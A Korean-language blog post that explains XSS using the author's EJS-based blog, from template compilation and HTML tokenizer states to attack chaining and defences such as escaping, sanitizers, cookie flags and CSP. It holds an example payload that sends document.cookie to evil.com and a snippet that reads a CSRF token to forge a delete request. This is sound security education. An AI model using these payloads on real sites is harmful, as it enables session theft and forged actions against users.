[Web] Web · 작성: 2026-07-19 19:15:17 · 수정: 2026-07-21 22:36:53 · 조회 25
XSS를 "스크립트 태그가 실행되는 취약점"이라고만 알면, 왜 <%- %>와 <%= %> 한 글자 차이가 이 블로그를 완전히 다른 취약점 상태로 만드는지, 그리고 브라우저 안에서 정확히 어느 파이프라인 단계에서 "내 데이터"가 "네 명령"으로 뒤바뀌는지를 설명할 수 없다. 이 글은 이 블로그(EJS 템플릿 엔진)를 실제 예제로 브라우저 렌더링 엔진 내부까지 파고든다.
이 블로그의 뷰는 EJS로 작성된다. 흥미로운 지점은, EJS 템플릿이 요청마다 그때그때 해석되는 게 아니라 최초 렌더링 시점에 진짜 JavaScript 함수로 컴파일된다는 것이다. views/blog/show.ejs에 있는 아래 두 문법은 컴파일 결과가 완전히 다르다.
<%= post.title %> <!-- 이스케이프 O -->
<%- html %> <!-- 이스케이프 X (blog.js에서 marked+sanitize-html 거친 신뢰된 HTML이라 의도적으로 사용) -->
EJS 컴파일러는 이걸 대략 이런 JS 함수로 바꾼다.
function anonymous(locals) {
__output += escapeFn(post.title); // <%= %> → escapeFn 호출이 강제로 삽입됨
__output += (html); // <%- %> → 아무 처리 없이 그대로 문자열 결합
return __output;
}
escapeFn은 &, <, >, ", '를 &, <, >, ", '로 바꾸는 HTML 엔티티 인코더다. <%= %>를 쓰면 사용자 입력이 아무리 <script>를 포함해도 컴파일된 함수 안에서 강제로 이스케이프를 거치도록 코드 자체가 생성되어버린다 — 이건 "필터링을 잘 했는가"의 문제가 아니라 템플릿 컴파일 단계에서 이스케이프 호출이 코드에 물리적으로 삽입되는가의 문제다. 반대로 <%- %>는 컴파일된 함수에 이스케이프 호출이 아예 없기 때문에, 여기에 신뢰할 수 없는 사용자 입력이 들어가면 그 순간 Stored XSS가 성립한다. 이 블로그가 안전한 이유는 blog.js의 renderMarkdown()이 marked.parse() 직후 sanitize-html로 <script>, onerror= 같은 위험 요소를 한 번 더 걸러낸 결과만 <%- html %> 자리에 넘기기 때문이다 — 이 필터링 단계가 없다면 마크다운 글 본문 자체가 그대로 Stored XSS 벡터가 된다.
서버가 이스케이프 없이 <script>alert(document.cookie)</script>를 HTML 응답에 그대로 흘려보냈다고 하자. 브라우저 안에서 벌어지는 일은 HTML5 명세에 정의된 토크나이저 상태 기계(tokenizer state machine) 단위로 정확히 추적할 수 있다.
<를 만나면 Tag open state로 전이s(script)라 Tag name state로 진입, script라는 태그 이름을 끝까지 읽음>를 만나 태그가 닫히면, HTML 파서는 script 태그를 만났다는 사실 자체 때문에 파서 모드를 "Script data state"로 전환 — 이 상태에서는 <, >도 더 이상 태그로 해석되지 않고, </script>가 나올 때까지 모든 문자를 순수 텍스트(스크립트 소스코드)로만 취급한다</script> 종료 태그를 만나면, HTML 파서가 지금까지 모은 텍스트를 DOM에 HTMLScriptElement 노드로 삽입<script> 태그라는 사실 하나만으로 브라우저 JS 엔진(V8 등)에 소스코드로 전달되어 파싱·컴파일(Ignition 바이트코드 생성)·실행된다즉 SQLi와 완전히 같은 구조다: SQLite 파서가 "이게 원래 쿼리인지 주입된 데이터인지" 구분 못 하듯, HTML 파서도 <script> 토큰이 서버가 쓴 것인지 사용자가 주입한 것인지 구분할 방법이 구조적으로 없다. HTML이라는 파싱 문법 자체가 "이 위치의 이 태그는 실행 가능한 코드다"라고 정의해놓았기 때문에, 파서는 자기 할 일(파싱 → DOM 구성 → 스크립트 실행)을 정상적으로 수행했을 뿐이다.
<img src=x onerror="fetch('https://evil.com/c?c='+document.cookie)"> 저장 (Stored XSS 예시)<img> 태그를 파싱 → src=x로 이미지 로드 시도 → 404 → error 이벤트 발생onerror 속성값을 인라인 이벤트 핸들러로 컴파일해서 JS 엔진에 넘김 (이때도 마찬가지로 "이 속성값이 서버 신뢰 영역에서 왔는지"는 검사 대상이 아니다)fetch()가 실행되며 피해자 브라우저의 쿠키 저장소(Cookie Jar)에서 현재 오리진에 대한 쿠키를 자동으로 읽어 document.cookie로 노출, 이걸 공격자 서버로 전송HttpOnly 플래그 없이 발급되어 있었다면 이 시점에 세션 하이재킹이 완성된다탈취한 세션 쿠키를 공격자 브라우저에 그대로 주입하면, 로그인 절차 없이 피해자 세션으로 서버에 요청을 보낼 수 있다. HttpOnly 플래그가 세팅된 세션 쿠키라면 document.cookie로는 못 읽지만, XSS는 이미 피해자 브라우저 컨텍스트 안에서 임의 JS를 실행하는 권한이므로 쿠키를 훔치는 대신 fetch()로 직접 상태 변경 요청(비밀번호 변경, 이메일 변경, 관리자 권한 부여)을 그 자리에서 실행해버리면 HttpOnly는 아무 방어도 못 한다.
이 블로그의 middleware/csrf.js는 세션에 저장된 토큰과 폼의 _csrf 값을 비교하는 동기화 토큰(Synchronizer Token) 패턴을 쓴다. CSRF 방어는 "공격자가 토큰 값을 모른다"는 전제 위에 서 있는데, XSS가 있으면 피해자 브라우저에서 실행되는 JS가 DOM에서 그 토큰 값을 직접 읽어올 수 있다.
// XSS로 주입된 스크립트가 페이지 내 폼에서 CSRF 토큰을 그대로 읽음
const token = document.querySelector('input[name="_csrf"]').value;
fetch('/blog/some-post/delete', { method: 'POST', body: `_csrf=${token}` });
CSRF 토큰은 "공격자가 아는지 모르는지"로 안전성이 결정되는데, XSS는 그 전제 자체를 깨버린다. 그래서 실무에서 "XSS가 있으면 CSRF 방어는 사실상 무의미해진다"고 말하는 이유가 여기서 나온다 — 두 취약점이 서로 다른 카테고리처럼 보여도, 체이닝 관점에서는 XSS가 CSRF의 유일한 전제조건을 정확히 겨냥해 무너뜨린다.
공격자가 일반 사용자 권한으로는 못 하는 작업(다른 글 삭제, 설정 변경)을, 관리자가 볼 게시글에 Stored XSS를 심어두고 관리자가 그 글을 열람하는 순간 관리자 세션 컨텍스트에서 그 작업을 대신 실행시키는 패턴이다. 낮은 권한 계정으로도 최종적으로 관리자 권한 작업을 트리거할 수 있다는 게 이 체인의 핵심 — 권한 검증이 "누가 요청했는가"가 아니라 "어떤 세션으로 요청이 왔는가"만 보는 시스템에서 특히 치명적이다.
document.addEventListener('keydown', ...)로 페이지 전체의 키 입력을 캡처해 외부로 전송하거나, 로그인 폼과 똑같이 생긴 오버레이 <div>를 DOM에 삽입해 피해자가 자격증명을 그 위에 입력하게 만드는 방식도 흔한 체이닝이다 — 이건 서버 취약점이 아니라 DOM 조작 권한 하나만으로 UI 자체를 조작할 수 있다는 XSS의 본질을 보여준다.
<%= %>, React JSX 등)를 신뢰하고, <%- %>·dangerouslySetInnerHTML 같은 "raw" 출력 지점을 최소화·전수조사한다sanitize-html, DOMPurify)를 거친다 — 블랙리스트(<script>만 막기)는 onerror, javascript: URI 등으로 우회당한다HttpOnly, Secure, SameSite 플래그 필수 적용 (단, 위에서 본 것처럼 이건 "쿠키 탈취"만 막을 뿐 XSS 자체의 요청 위조 능력은 못 막는다)Content-Security-Policy 헤더로 인라인 스크립트 실행 자체를 차단 — 이스케이프가 실패해도 CSP가 마지막 방어선이 되는 심층 방어(defense in depth) 구조XSS를 "브라우저가 스크립트를 실행하는 문제"가 아니라 **"HTML 파서가 신뢰 경계 없이 태그를 코드로 승격시키는 구조"**로 이해하면, 왜 이스케이프가 유일한 근본 해법인지, 그리고 왜 XSS 하나가 세션 탈취를 넘어 CSRF 방어까지 무력화하는 체인의 시작점이 되는지가 같은 논리로 설명된다.